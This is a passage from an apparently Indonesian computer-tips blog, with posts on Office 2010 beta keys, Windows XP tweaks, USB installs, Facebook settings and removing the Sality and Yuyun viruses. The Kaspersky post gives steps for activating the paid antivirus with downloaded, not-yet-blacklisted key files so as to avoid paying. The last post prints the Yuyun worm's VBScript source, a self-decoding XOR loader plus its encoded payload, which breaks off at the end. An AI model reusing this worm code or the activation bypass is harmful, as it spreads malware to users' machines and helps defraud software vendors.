Belajar Komputer dan Ilmunya

Microsoft Office 2010 Beta With Product Key

2010-02-16T16:55:00.000-08:00

Microsoft telah merilis Microsoft Office 2010 Beta yang dapat didownload public secara gratis. Anda akan dapatkan versi Professional Plus dari Office 2010 yang didalamnya terdapat Microsoft Word, Excel, PowerPoint, Outlook, Access, Publisher, Infopath 2010, dan

SharePoint Workspace

Jika di computer anda sudah menggunakan Office 2007, maka anda memiliki pilihan untuk mengupgrade ke Office 2010 atau install baru Office 2010. SEhingga anda memiliki dua buah Office di komputer anda.
Jika sebelumnya anda telah menginstall dan mencoba Microsoft Office 2010 versi Technical Preview, maka anda harus menghapusnya terlebih dahulu dan kemudian restart komputer anda untuk menginstall Office 2010 Beta

Microsoft Office 2010 Beta dan Activation Keys bisa anda dapatkan pada link ini, sebelum anda download maka anda sebelumnya harus login dengan menggunakan Windows Live ID (email seperti @live.com @hotmail.com @msn.com). Selanjutnya akan diminta untuk mengisi data informasi, dan kemudian akan dikirimkan sebuah email konfirmasi ke email anda.

Buka email anda dan klik pada email konfirmasi yang diberikan Microsoft, maka akan muncul sebuah halaman yang memberikan Product Key untuk Microsoft Office Professional Plus 2010 Beta. Dan dihalaman tersebut juga pada bagian bawahnya akan terdapat link download yang telah disediakan untuk anda download ke komputer anda

Microsoft hanya menerbitkan beberapa Activation Keys untuk Office 2010 Beta ini yang dapat digunakan siapapun yang akan mencoba Office 2010 Beta. Jadi dengan satu buah Activation Keys bukan hanya untuk satu orang saja. Namun untuk aktivasinya harus dilakukan secara online.

Office 2010 akan tersedia dalam versi 32-bit dan 64-bit.
Office 2010 dapat berjalan di OS Windows XP SP3, Windows Vista, dan Windows 7

Petunjuk Installasi dan Aktivasi Office 2010 :

Download file Installernya
Lakukan installasi pada file ProfessionalPlus.exe
Aktivasi Online

Buka salah satu produk office 2010 [contoh: Word atau Excel]
Masuk ke tab File > Help > Change Product Key
Masukan salah satu serial number berikut :

SN Microsoft Office 2010 Public Beta :
MAK key : 2PWHY-KT4X6-96PYW-XQR7V-HW2W9
MAK key : YF79C-7Y4B4-PGM89-6BKGJ-46PBT
MAK key : 7XD2X-JWJ94-BCHBW-W9WXP-J2WPT

Microsoft Visio Premium 2010 Beta :
P33XK-G7GK2-Y742B-8HCY6-RX3K8

Microsoft Project Professional 2010 Beta :
FJDHB-D2KBB-XJK2Y-FCWGH-63J23

Setelah melakukan Aktivasi secara online, maka Office 2010 tersebut dapat anda gunakan sampai October 2010. Jika tidak maka akan aktif hanya sampai 30 hari saja. Jika anda ingin download dengan menggunakan Internet Download Manager bisa menggunakan direct link dibawah ini agar makin cepat

Download : Microsoft Office Professional Plus 2010 Beta 32-bit (x86)
Download : Microsoft Office Professional Plus 2010 Beta 64-bit (x64)

Office 2010 tentu lebih baik dari Office 2007 baik dari segi tampilan dan fiturnya. Walaupun saat ini masih tahap beta, Office 2010 beta ini patut anda coba juga. Saya sendiri sudah mencoba, tampilannya bagus dan menarik. Untuk performanya juga sangat baik dan lebih ringan dibandingkan Office 2007. (d60pc.com)

Mengaktifkan Anti Virus Kaspersky 2010 Menggunakan Key File

2010-02-16T16:33:00.000-08:00

Kini Program Anti Virus Kaspersky 2010 sudah dapat didownload. Namun untuk membuatnya menjadi Full Version ada 2 cara, yang pertama dengan menggunakan “activation code” dan harus dilakukan secara online. Dan cara yang kedua dapat menggunakan Key File dan bisa dilakukan secara offline tanpa harus terhubung ke internet.

Dan cara yang paling mudah menggunakan Key File, karena banyak tersedia di Internet dan anda bisa mendownloadnya secara gratis, sehingga anda tidak perlu membayar.

Cara untuk mengaktifkan Anti Virus Kaspersky 2010 menggunakan Key File beda dengan Anti Virus Kaspersky 2009. Pada Kaspersky 2010 diperlukan sedikit trick. Pada postingan ini saya akan memberikan tips dan cara untuk membuat Kaspersky Full Version dengan menggunakan Key File.

Petunjuk :

Buka Program Kaspersky 2010, dan klik pada pilihan “License” yang terdapat di bahagian bawah

Kemudian pilih pada pilihan “Activate New License“

Selanjutnya akan muncul sebuah jendela baru, pilih pada pilihan “Activate Trial License” . Pada tahap ini anda harus mematikan koneksi internet anda. Ingat : Matikan Koneksi Internet Anda

Maka muncul sebuah peringatan. Klik “OK”

Kemudian akan muncul sebuah tampilan baru. Disini kamu bisa Browse Key File. Gunakan Key File yang belum di Black List yang telah anda download.

Finished. Kini Kaspersky 2010 anda sudah Full Versi

Download : Kaspersky Internet Security 2010 V.9.0.0.459

Mengubah URL Facebook Dengan Nama Sendiri

2009-12-03T08:31:00.000-08:00

Sekarang Anda bisa mengganti URL Facebook dengan nama Anda sendiri, contoh: http://www.facebook.com/nama-Anda. Fitur ini mirip dengan yang ada di Friendster, namun perbedaannya di Facebook hanya diberi kesempatan sekali saja untuk memilih alamat dan tidak bisa diganti lagi. Kadong kepenak pingin ganti-ganti, gak oleh nambah.

Fitur ini cukup berguna karena memudahkan orang lain untuk menghapal alamat Facebook Anda. Selain itu alamat/nama Anda bisa terindek di Google dengan lebih baik. Seperti alamat facebook ini.

ups ...

sabar dulu ... ahh jangan berinjak dari komputer Anda, soalnya sangat penting sebelum Anda berhasil mengubahnya menjadi nama Anda.

Berikut cara-caranya:

Login dulu pada facebook Anda.
Tambahkan Tab Baru (lembar halaman baru) pada browser Anda. Kalo pake menu - Klik Menu File - New Tab (untuk Mozilla)
ketik alamat di address web browser pada tab baru tadi http://www.facebook.com/username
ahhh .. ternyata ada banyak nama yang ditawarkan
kalo semuanya gak cocok, Anda bisa mengusulkan nama yang lain sesuai dengan keinginan hati
wis .. sampe sini dulu tipsnya. Kayaknya sudah nih and bisa diteruskan sendiri. Itung-itung belajar otak-atik lahhh... ngetes kecerdasan.

Undang-Undang dan Peraturan ini dikeluarkan oleh pengurus facebook mulai hari ini Sabtu, 13 Juni 2009 pukul 12:01 a.m. EDT atau jam 11.01 WIB (Kalau info di dalam beranda Facebook disebutkan jam 12.31).

Nah buruan setting alamat facebook kamu sebelum diambil orang lain! eman-eman banget kalo nama yang diusulkan sudah dipunyai orang lain. Al Faatihah .... 3000 x

Tips Mempercepat Booting Windows XP

2009-11-29T20:34:00.000-08:00

Mungkin anda pernah mengalami booting windows yang sangat lambat
Berikut langkah-langkahnya agar booting windows anda menjadi lebih cepat :

Langkah 1 :
Buka aplikasi notepad
Ketikkan “del c:\windows\prefetch\ntosboot-*.*/q” (Tanpa tanda kutip )
dan save as dengan nama ntosboot.bat dalam drive c:\

Langkah 2 :
Lalu klik menu Start–>Run–> dan ketikkan gpedit.msc

Langkah 3 :
Klik Computer Configuration–>Windows Settings–>Script–>lalu klik 2 kali pada Shutdown

Langkah 4 :
Dalam Windows Shutdown Properties klik add lalu browse. lalu cari letak file ntosboot.bat yang anda buat tadi dan klik open

Langkah 5 :
Lalu klik OK ,Apply dan OK sekali lagi untuk menyelesaikannya

Langkah 6 :
Lalu klik menu Start–>Run–> dan devmgmt.msc

Langkah 7 :
Klik IDE ATA/ATAPI controllers–>Primary IDE Channel ( Klik 2 kali untuk membuka properties )

Langkah 8 :
Pilih Advanced Settings
Pada Device 0 atau Device 1
Ganti Device Type menjadi None ( Ganti saja pilihan Device Type yang tidak terkunci )

Langkah 9 :
Klik IDE ATA/ATAPI controllers–>Secondary IDE Channel ( Klik 2 kali untuk membuka properties )
Ulangi seperti Langkah 8

Langkah 10 :
Restart Komputer anda dan anda bisa lihat perubahannya.

Semoga Bermanfaat

Install Windows XP dari Flashdisk

2009-11-29T20:13:00.000-08:00

Pembaca, saat ini, keberadaan laptop mungil tengah menawan hati sebagian besar pengguna komputer jinjing. Bagaimana tidak? Walaupun terkadang spesifikasi sebuah subnotebook tidak semumpuni notebook-notebook berukuran lebih besar, ukurannya yang mini dan kemampuannya yang dapat mengakomodasi kebutuhan berkomputer sehari-hari menjadikan subnotebook sebagai salah satu gadget yang sangat diminati, disamping harganya yang lebih terjangkau, tentu saja.

salah satu usaha produsen subnotebook untuk “merampingkan” produknya adalah dengan meniadakan perangkat optical drive, seperti CD-ROM/RW atau DVD-ROM/RW. Komponen yang digunakan untuk mengakses keping CD atau DVD ini memang cukup menyita ruang dan sumber daya.

Sebagai konsekuensinya, pemilik subnotebook tak dapat mengakses CD atau DVD di subnotebook-nya, atau terpaksa membeli external optical drive yang tetap dijalankan via port USB yang tersedia.

Salah satu masalah yang timbul akibat ketidaktersediaan optical drive pada subnotebook adalah kesulitan saat hendak melakukan instalasi aplikasi ataupun sistem operasi. Tak jarang pengguna harus menyalin aplikasi atau sistem operasi yang hendak di-install ke dalam USB flash disk, atau mencolok external optical drive dan melakukan instalasi seperti biasa. Namun, tentu saja hal ini sangat merepotkan, mengingat tak banyak pengguna awam yang mengetahui prosedur instalasi aplikasi atau sistem operasi via flash disk, dan harga sebuah external optical drive yang tidak murah.

Contoh kasus, andaikan kita hendak mengganti sistem operasi Xandros Linux yang terpasang di subnotebook Asus Eee PC dengan Windows XP, maka kita harus menginstal via external optical drive. Mungkin tak terlalu memusingkan bagi Anda yang punya cukup dana untuk membeli sebuah external optical drive, namun bagaimana dengan Anda yang sejak awal ingin berhemat dengan membeli subnotebook?

Nah, lewat artikel ini penulis ingin berbagi tips membuat modul instalasi Windows XP menggunakan media USB flash disk, yang tentunya akan menghemat biaya dan menjadikan pembaca lebih pintar. Modul instalasi ini tak hanya dapat diimplementasikan dalam instalasi ke subnotebook saja, tapi juga dapat diaplikasikan pada komputer mana pun yang sudah memiliki fitur untuk booting via USB.

“Gampang! Tinggal salin file instalasi Windows XP ke flash disk!” Mungkin itu yang terlintas di benak Anda, tapi percayalah bahwa membuat modul instalasi Windows XP tidak semudah itu. Namun jangan khawatir, karena dengan mengikuti langkah-langkah berikut, proses pembuatan modul instalasi Windows XP pun tak terlalu sulit dilakukan.

Yang Harus Disiapkan:

1. Sebuah komputer yang dilengkapi optical drive (CD atau DVD) dan port USB yang dapat bekerja dengan baik.
2. Sebuah USB flash disk berkapasitas 1 atau 2 GB.
3. CD instalasi Windows XP.
4. Aplikasi pembuat modul instalasi (USB_PREP8 dan PEtoUSB) yang dapat diunduh cuma-cuma melalui link http://www.sendspace.com/file/7n781n
5. Do’a dan keberanian!

Langkah-langkah Pembuatan:

1. Tancapkan USB flash disk ke salah satu port USB. Ingat-ingat posisi drive-nya. Apakah F:, G:, H:, dan sebagainya.

2. Saat Anda berada di posisi normal (desktop), masukkan CD instalasi Windows XP ke optical drive. Jika komputer menjalankan proses instalasi secara otomatis, batalkan saja dan tutup semua aplikasi yang tengah berjalan.

3. Unduh dan ekstrak aplikasi yang penulis berikan. Saran penulis, ekstrak seluruh isinya ke sebuah folder, semisal C:\USB.

4. Selanjutnya, buka folder di mana Anda mengekstrak aplikasi modul pembuat instalasi, kali ini kita ambil contoh C:\USB.

5. Jalankan file bernama “usb_prep8.bat” maka di layar monitor akan tampak jendela Command Prompt berisi macam-macam perintah. Jika sudah muncul tulisan “Press any key to continue,” tekan sembarang tombol untuk konfirmasi.

6. Di layar akan muncul jendela PEtoUSB yang meminta Anda memformat USB flash disk Anda. Tak perlu mengubah setting apa pun, langsung klik Start untuk mulai proses format. Jawab konfirmasi sesuai kebutuhan Anda.

7. Jika sudah selesai, tutup jendela PEtoUSB (jangan menutup jendela Command Prompt yang tadi terbuka ketika Anda menjalankan usb_prep8.bat), maka di layar akan muncul opsi-opsi dari 0 hingga 5.

8. Gunakan opsi 1 untuk memilih sumber file instalasi yang nantinya akan disalin ke flash disk. Disini, tentukan di drive mana Anda menyimpan instalasi Windows XP. Pilih saja optical drive di mana sudah ada CD Windows XP di dalamnya, atau pilih folder pilihan Anda jika Anda telah menyalin file instalasi Windows XP ke folder tertentu.

9. Pilih opsi 3 untuk menentukan di mana Anda mencolok flash disk. Kalau flash disk Anda berada di drive F:, maka ketik F dan tekan ENTER. Jika drive G: maka ketik G dan tekan ENTER, begitu seterusnya berlaku untuk drive lain.

10. Selanjutnya pilih opsi 4 untuk mulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain.

Selesai! Kini flash disk Anda telah siap digunakan untuk instalasi Windows XP! Silahkan melakukan setting pada BIOS subnotebook Anda, dan pilih Removeable Disk (atau apa pun nama lainnya) sebagai media pertama yang dijalankan saat booting.

Mengingat teknik instalasi semacam ini juga tersedia di internet, Anda juga bisa mencarinya via mesin cari. Selamat mencoba…!

Menghilangkan Konfirmasi Email dari Facebook

2009-11-29T20:05:00.000-08:00

Jika kita terganggu dengan banyaknya kiriman email dari facebook, maka kita bisa mengatur seperlunya saja. Dengan mengatur konfirmasi email dari facebook maka setiap aktifitas kita di difacebook tidak selalu di konfimasi melalui email kita, jadi alhasil email kita tidak lagi dibanjiri konfimasi email yang rasanya tidak terlalu penting buat kita. pada kesempatan ini saya akan memberikan tips bagaimana mengatur agar email kita tidak dibanjiri konfirmasi dari facebook. Berikut Langkah-langkahnya:

1. Masuk ke Akun Facebook anda
2. Pilih Menu Pengaturan - Pengaturan Akun

3. Akan tampil beberapa Tab Menu, Pilih Tab Menu Pemberitahuan

yang dilingkari tanda merah adalah konfirmasi yang akan dikirimkan ke Email anda, hilangkan tanda centang jika menurut anda hal-hal tersebut tidak perlu dikirimkan ke Email.

4. Setelah selesai mengatur pemberitahuan, jangan lupa Klik Simpan Perubahan

Disitu dijelaskan, walaupun anda menghilangkan semua tanda centang pada pemberitahuan ke email, tetapi facebook akan tetap mengirimkan konfirmasi pemberitahuan yang sekiranya penting ke email anda, misalkan : Ketika anda mengganti password, mengganti alamat email, atau pemberitahuan yang lainya.

Selamat Mencoba, semoga bermanfaat.

Membuat Ikon Gambar Supaya Selalu Berada di Pojok

2009-11-15T23:30:00.000-08:00

pada bingung nih, apa maksudnya dan kenapa judulnya begitu, sebenarnya aku sendiri juga bingung mau ngasih judul apa untuk trik yang berikut ini. Setelah aku pikir-pikir eee.. nggak nemu-nemu juga judul yang cocok, ya udah deh aku asal aja kasih judul gitu. Trus apa maksudnya dari judul tersebut dan trik apa yang akan dibahas?
Gini, untunya itu gini trik nyoba ngebahas gimana cara membuat “ANU” itu selalu berada di pojok (bisa atas, bawah, kiri, kanan) meskipun “scroll bar” ditarik kemana-mana. “Scroll bar” itu apa sih? itu lho kotak kecil panjang yang ada disamping itu, yg biasanya ditarik kebawah dan keatas supaya bisa ngelihat isi blog yang kepanjangan. Trus maksudnya “ANU” itu apa? “ANU” itu maksudnya bisa gambar atau photo kamu, animasi, Jam, Hit Counter, Shoutbox, Kalender, Adsense, Iklan, Widget-widget dan lain-lain. Kalo untuk di blog ini aku pasang gambar sonic yg sedang lari-lari (pojok kiri bawah). Nha udah tahu kan maksudnya. Kalo dah tahu dan pingin mencobanya mari ikuti trik berikut ini:

1. Login ke blogger trus klik “Layout –>> Edit HTML
2. Cari kode ini ]]> kalo dah ketemu taru kode berikut ini di atasnya.

#trik_pojok {
position:fixed;_position:absolute;bottom:0px; left:0px;
clip:inherit;
_top:expression(document.documentElement.scrollTop+
document.documentElement.clientHeight-this.clientHeight); _left:expression(document.documentElement.scrollLeft+ document.documentElement.clientWidth - offsetWidth); }

3. Text yang dicetak tebal adalah posisinya, kalo pingin ganti di posisi pojok kanan bawah tinggal text “left” diganti dengan “right”. Begitu juga tulisan “buttom”, jika pingin di posisi atas bisa diganti dengan “top”.
4. Langkah selanjutnya yaitu letekkan script berikut ini sebelum kode

“http://www.it-and-business.co.cc” adalah link. ganti dengan link kamu.
“http://www.celunk.co.cc/banner/celunk.gif” adalah lokasi gambarmu. ganti dengan lokasi gambar kamu.

5. Jika kamu pingin yang ada disitu bukan gambar tetapi jam/kalender/hit counter/widget-widget yg lain, maka ganti text yang berwarna merah dengan script widget-widget tersebut.
6. Simpan hasil kerja kamu dan lihat hasilnya.

Install Windows XP lewat USB Flas Disk

2009-06-10T16:45:00.000-07:00

Sebenarnya Installasi Windos tidak hanya dengan CD, tapi ada juga cara installasi dengan USB FLASH DISK, cara ini mempunyai keuntungan yaitu installasi lebih cepat daripada menggunakan CD. MUngkin Langsung saja kita mulai tutorialnya….

Yang anda perlu siapkan:

USB_MultiBoot_10 yang bisa anda download di sini
Sebuah Flash Disk berkapasitas minimal 1GB
Sebuah CD installasi XP

Nah jika sudah lengkap persiapan kita yang perlu anda lakukan

Extrak file yang anda download
Jalankan USB_MultiBoot_10.cmd
Anda bisa tekan ENTER
Kemudia akan muncul pilihan seperti ini
Pilih yang H dan tekan enter maka akan muncul kotak seperti iniP Pada pilihan File System Pilih NTFS dan centang Quick Format , dan tekan Start
Setelah selesai memFormat anda bisa menutup BOX Format
Setelah itu anda akan menemui Menu dalam kotak CMDKeterangan: 0> untuk merubah Tipe Driver , 1> Letak Source Setup XP, 2> Lokasi USB flash anda 3> Memulai mengkopy installasi xp ke USB Flash anda
Nah pilih no 1 dan tekan Enter (tujukan ke dalam CD XP anda) sebelum nya masukkan dulu CD Installasi Xp anda.
Setelah anda memilih source XP anda maka akan muncel BOXpilih NO maka anda akan disuruh mengisi UsrXP, SerialNumber, Nama Komputer dan lain sebagainya
Setelah itu pilih no 2 dan tujukan ke USB anda
Setelah itu pilih no 3 untuk memulai mengcopy installasi Xp ke USB
Pada pertengahan proses copy akan muncul boxPilih Yes
Nah pada box yang terakhir muncul pilih NO
Nah Proses copy Sudah selesai. anda bisa mengunakan USB anda untuk Install Windows Xp.

Proses Install

Pada saat booting anda bisa tekan DELETE
maka akan muncul pilihan dg latar belakang biru
pilih Advanced Bios Features, kalo tidak salah letaknya no2 menu kiri
pilih lalau pilih HardDisk Boot Priority
nah disana ada nama harddisk yang anda pakai dan nama USB Flash anda
Geser USB anda pada urutan pertama menggunakan Page UP
setelah itu Save dan Exit
Nah saat computer anda booting dengan flashdisk anda akan disuguhi beberapa pilihan, pilih no 1( 1. Begin TXT Mode Setup Windows XP)
nah setelah itu anda akan setup windows seperti biasa.

Membasmi / menghapus virus sality / alman

2009-06-09T22:27:00.001-07:00

Virus Sality / Alman bekerja dengan menginfeksi file execution atau berekstensi .exe, efek dari virus ini pada sebagian program membuat program tidak bisa jalan sama sekali, namun pada sebagian program virus ini tidak terasa pengaruhnya, program berjalan seperti biasa, meskipun file exenya sudah terinfeksi. dan windows system tidak bisa masuk ke safe mode.

Cara Kerja Virus

Cara kerja virus ini yaitu dengan membuat dua buah file induk di directory c:\windows\system32 dengan nama wmdrtc32.dll dan wmdrtc32.dl_, File wmdrtc32.dll dibuat dengan ukuran sekitar 40 KB, diset beratribut normal sedangkan file yang kedua yaitu wmdrtc32.dl_ dengan ukuran 26 KB diset beratribut hidden, file ini dibuat virus untuk mengelabui seolah-olah file tersebut file windows yang di rename dan disembunyikan oleh virus, padahal file tersebut adalah masih virus. dua file ini tidak bisa di delete langsung.

Cara menghapus / membasmi

Beberapa antivirus seperti AVG & ANSAV dapat mendeteksi dan meng-clean dengan men-delete langsung file yang terinfeksi, sehingga program yang terinfeksi tidak dapat digunakan lagi, bahkan windows tidak dapat masuk / hang. tentu saja cara ini sangat merugikan.

Untuk itu ada cara yang aman untuk menghilangkan virus ini tanpa mendelete langsung, dan saya sarankan (berdasarkan pengalaman) menggunakan cara ini:

download rmsality, virus removal khusus untuk virus sality dari Grisoft (produsen AVG), berisi tiga file yang harus anda dowload ke dalam satu folder disini

download fileASSASSIN disini

Langkah-langkah:

Installkan dan jalankan fileASSASSIN dan arahkan / ketik di menu browsenya ke c:\windows\system32\wmdrtc32.dll delete file-nya di cheklist kemudian klik execute. ulangi untuk file yang kedua c:\windows\system32\wmdrtc32.dl_

jalankan program rmsality yang sudah di download dan biarkan melakukan proses scanning secara keseluruhan. setelah selesai anda akan mendapatkan beberapa file yang tidak bisa di clean (failed to clean) dan antivirus meminta anda untuk mereboot system. (anda juga bisa melakukan scanning per-drive dengan cara masuk ke menu run, kemudian ketik cmd, kemudian masuk ke direktori rmsality dimana anda menyimpannya, kemudian ketik contoh: rmsality c:

reboot system. untuk meyakinkan silahkan scan lagi dengan antivirus yang lain, seperti ANSAV, AVG dll

Mengatasi Virus Shortcut Herry Potter

2009-06-09T01:39:00.001-07:00

Ciri - ciri

Membuat file induk database.mdb di My Documents
Membuat file Autorun.inf di setiap drive,flash disk, dan folder
Membuat file Thumb.db (hati-hati tanpa huruf s) di setiap folder
Membuat file Microsoft.lnk, New Folder.lnk, Harry Potter.lnk, yuyun cantik.lnk di setiap folder
Membuat duplikat setiap folder dengan extensi .lnk atau shortcut
Pada task manager terdapat services wscript.exe

Langkah - langkah

Restart komputer ke System Safe Mode dengan menekan tombol F8
Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe) dengan menggunakan perintah search atau menggunakan perintah explore
Hapus file virus database.mdb di My Documents
Hapus file duplikat virus..
Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis. Gunakan fasilitas search pada Windows..
Pada "More advanced options", pastikan option "Search system folders" dan "Search
hidden files and folders" keduanya terpilih..
Search file dengan nama autorun.inf ukurannya 8 KB
Search file dengan nama Thumb.db ukurannya 8 KB
Search file dengan ekstensi .lnk.lnk ukurannya 1 KB
Hapus semua file yang ditemukan..
Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb

Mengatasi Virus Shortcut

2009-06-09T01:33:00.000-07:00

fullpost{display:inline;}

Ciri - Ciri :

1. Membuat file induk database.mdb di My Documents
2. Membuat file autorun.inf di setiap drive,flash disk, dan folder
3. Membuat file Thumb.db (hati2 tanpa huruf s) di setiap folder
4. Membuat file Microsoft.lnk dan New Harry Potter and….lnk di setiap folder
5. Membuat duplikat setiap folder dengan extensi .lnk
6. Pada task manager terdapat services wscript.exe

Langkah - Langkah :

1. Matikan System Restore.. (ada di hal 1)
2. Matikan proses virus wsrcipt.exe (C:\WINDOWS\System32\wscript.exe)
Bisa menggunakan Process Explorer atau misc. tool pada HijackThis..
3. Hapus file virus database.mdb di My Documents..
4. Hapus file duplikat virus..
Gunakan fasilitas search pada Windows..
Pada “More advanced options”, pastikan option “Search system folders” dan “Search
hidden files and folders” keduanya terpilih..
Search file dengan nama autorun.inf ukurannya 8 KB
Search file dengan nama Thumb.db ukurannya 8 KB
Search file dengan ekstensi .lnk.lnk ukurannya 1 KB
Hapus semua file yang ditemukan..
5. Hapus registry Autorun yang dibuat virus dengan menggunakan HijackThis..
Cari di bagian HKCU\..\Run: yang berhubungan dengan file database.mdb

Untuk menghapus yang hidden (thumb.db, autorun dan database.mdb) bisa gunakan CMD/MSDOS

dengan meng Attrib nya : (misal di E:\attrib -s -h /s /d —->enter

E:\ del /s/f thumb.db —–> enter dst

Jangan lupa hapus juga file desktop 1k (bukan folder lho) secara manual.

Virus Yuyun.vbs / yuyun.inf / yuyun tumbs.db

2009-06-09T01:23:00.000-07:00

Virus ini seperti virus vbscript yang lain,menggunakan compiler bawaan windows yaitu wscript.exe.Virus ini menurut saya cukup ngawur,karena si virus membuat shortcut yang hampir semua nama folder menjadi shortcut.

Selengkapnya virus ini melakukan:

menjalankan script virus dengan autorun.inf , yang kemudian akan menjalankannya secara otomatis waktu windows start up,dengan menulis string run di registry windows.
meng-copy autorun.inf dan script vbs thumb.db yang isinya ‘www.muslimah.or.id;==================================== my name:Yuyun 1.0′ ============================On Error Resume NextDim fso, wsSet fso = CreateObject(”scripting.filesystemobject”)Set ws = CreateObject(”wscript.Shell”)
Set sh = CreateObject(”Shell.application”)

Q=WScript.ScriptFullName

tmp=fso.GetSpecialFolder(2)

tn=fso.GetTempName

tmpt=tmp+”\”+tn

Set swt=WScript.Arguments

If swt.Count>0 Then

status=swt(0)

If status=”auto” Then

sh.Explore Left(WScript.ScriptFullName,3)

Else

status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status

If fso.FolderExists(status) Then

sh.Explore status

Else

fso.CreateFolder status

sh.Explore status

End If

End If

Else

End If

Set QQ=fso.GetFile(Q)

Set Q1=QQ.OpenAsTextStream(1,0)

isiQ=Q1.Read(QQ.Size)

Q1.close

t1=InStr(1,isiQ,”Yuyun^_^~!~2008″+” >>>”,0)+18

isiQ=Right(isiQ,Len(isiQ)-t1)

hsl=”"

For v=1 To Len(isiQ)

t=Asc(Mid(isiQ,v,1))

hsl=hsl+Chr(t Xor 7)

Next

If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0

Set temporary=fso.OpenTextFile(tmpt,2,True,0)

temporary.Write hsl

temporary.Close

ws.Run “WScript.exe //e:VBScript “+tmpt+” “”"+Q+”"”"

‘ Yuyun^_^~!~2008 >>> :::::::::::::::::::::::::::::::::::::::::::::::::::::::

‘J~’ifjb’='^r~ri’Qbu’6)7

‘N’mrts’pfiif’tbb’bqbu~’`nuk’khhlt’indb+’ebssbu+’lnict’btwbdnfkk~’f'jhtkbj’`nuk

‘e~=’Fihi~jhrtb’ni’Mfsnj+’Ihqbjebu’577?

‘Pobi’N'ahric’ihsoni`’ebfrs~’bktb)))’fic’sobi’N'puhsb’sont’tdunws’ahu’fkk

:::::::::::::::::::::::::::::::::::::::::::::::::::::::

Hi’Buuhu’Ubtrjb’Ibs

Cnj’ath+’pt+’tsfsrt+tsfsrt6+’ak~

Tbs’ath’:'DubfsbHembds/%tdunwsni`)ankbt~tsbjhembds%.

Tbs’pt’:'DubfsbHembds/%ptdunws)Tobkk%.

Tbs’to’:'DubfsbHembds/%Tobkk)fwwkndfsnhi%.

Tbs’ibs’:'DubfsbHembds/%ptdunws)ibsphul%.

ak~:afktb

sjw:ath)@bsTwbdnfkAhkcbu/5.

si:ath)@bsSbjwIfjb

sjws:sjw,%[%,si

chd:pt)TwbdnfkAhkcbut/%J~Chdrjbist%.

Tbs'tps:PTdunws)Fu`rjbist

Na'tps)Dhris97'Sobi

tsfsrt:tps/7.

Bic'Na

na'ath)ankbbntst/sjw,%[^r~ri)V%.'sobi

tbs'nuf:ath)`bsankb/sjw,%[^r~ri)V%.

nuf)fssunersbt:7

nuf)ifjb:%tofknofo)nuf%

na'nuf)ifjb:%tofknofo)nuf%'sobi

nuf)ifjb:%^r~ri)V%

tbs'nuf:ath)hwbisbsankb/sjw,%[^r~ri)V%+5+surb.

bktb

ak~:surb

bic'na

bktb

tbs'nuf:ath)hwbisbsankb/sjw,%[^r~ri)V%+5+surb.

bic'na

Tbs'FV:ath)@bsAnkb/tsfsrt.

Na'ath)AnkbBntst/sjws.'Sobi'ath)@bsAnkb/sjws.)Fssunersbt:7

FV)Dhw~'sjws+Surb

Tbs'FV:ath)@bsAnkb/sjws.

FV)Fssunersbt:4>

fiq:sjw,%[frsh)bb%

Na'Ihs'ath)AnkbBntst/fiq.'Sobi'FV)Dhw~'fiq

Tbs'frsh:ath)@bsAnkb/fiq.'

frsh)fssunersbt:7

Tbs'frs:ath)HwbiSbsAnkb/fiq+5+Surb+7.

ntn:%\frshuriZ9hwbi:PTdunws)bb'((b=QETdunws'sorje)ce'frsh9tobkk[hwbi:Hwbi9tobkk[hwbi[Dhjjfic:PTdunws)bb'((b=QETdunws'sorje)ce'frsh9tobkk[hwbi[Cbafrks:69tobkk[bwkhub:Bwkhub9tobkk[bwkhub[Dhjjfic:PTdunws)bb'((b=QETdunws'sorje)ce'frsh%

ntn:Ubwkfdb/ntn+%9%+qeDuKa.

frs)Punsb'ntn

frs)Dkhtb

frsh)Fssunersbt:4>

ksld:to)Ifjbtwfdb/!O6d!.)Tbka)wfso','%[Jnduhthas[DC'Eruini`%

FV)Dhw~'ksld,%[sorje)ce%+Surb

frsh)Dhw~'ksld,%[frshuri)nia%+Surb

Na'ath)AnkbBntst/chd,%[cfsfeftb)jce%.'Sobi'ath)@bsAnkb/chd,%[cfsfeftb)jce%.)Fssunersbt:7

FV)Dhw~'chd,%[cfsfeftb)jce%+Surb

ub`V

Tbs'ufuf:RINTLF

Obus}'Afktb

Na'Cf~/Ihp.;94'Sobi'ublrutna'chd+6'Bktb'ublrutna'chd+4

dfkk'fssfdlXibs

Obus}'Surb

Tre'ublrutna/wfso+cw.

Hi'Buuhu'Ubtrjb'Ibs

cuhwa'wfso

ptdunws)tkbbw'27

Na'cw97'Sobi

Ahu'Bfdo'akcu6'Ni'ath)@bsAhkcbu/wfso,%[%.)TreAhkcbut

ublrutna'akcu6)Wfso+'cw*6

Ibs

Bic'Na

Bic'Tre

Tre'cuhwa/wfso.

Hi'Buuhu'Ubtrjb'Ibs

na'cf~/ihp.:6'fic'/jhiso/ihp.jhc'4.:6'sobi'

ufuf)dhw~'wfso,%[Efdf'FV)usa%

ufuf)dhw~'wfso,%[J~'ifjb'nt'^r~ri)usa%

bic'na

`6:wfso,%[frshuri)nia%

`5:wfso,%[Sorje)ce%

Na'ath)AnkbBntst/`6.'Sobi'

Tbs'`66:ath)@bsAnkb/`6.'

Na'`66)Fssunersbt;94>'Sobi'

`66)Fssunersbt:7

frsh)Dhw~'wfso,%[frshuri)nia%+Surb

bic'na

bktb'

frsh)Dhw~'wfso,%[frshuri)nia%+Surb

bic'na

Na'ath)AnkbBntst/`5.'Sobi'

Tbs'`65:ath)@bsAnkb/`5.

Na'`65)Fssunersbt;94>'Sobi

`65)Fssunersbt:7

FV)Dhw~'wfso,%[Sorje)ce%+Surb

bic'na

bktb

FV)Dhw~'wfso,%[Sorje)ce%+Surb

Bic'Na

Na'Ihs'ath)AnkbBntst/wfso,%[Jnduhthas)kil%.'Sobi

tohu]qinsf’wfso,%[Jnduhthas%+%Jnduhthas%

cuhw:Fuuf~/%Ibp'Ofuu~'Whssbu'fic)))%+%Ibp'Ahkcbu%+%TrufsV%+%Ufoftnf%+%@fjb%+%]qinsf%+%Chpikhfc%+%CfsfV%+%CfsfV%.

pp:6

Ahu’Bfdo’c'Ni’cuhw

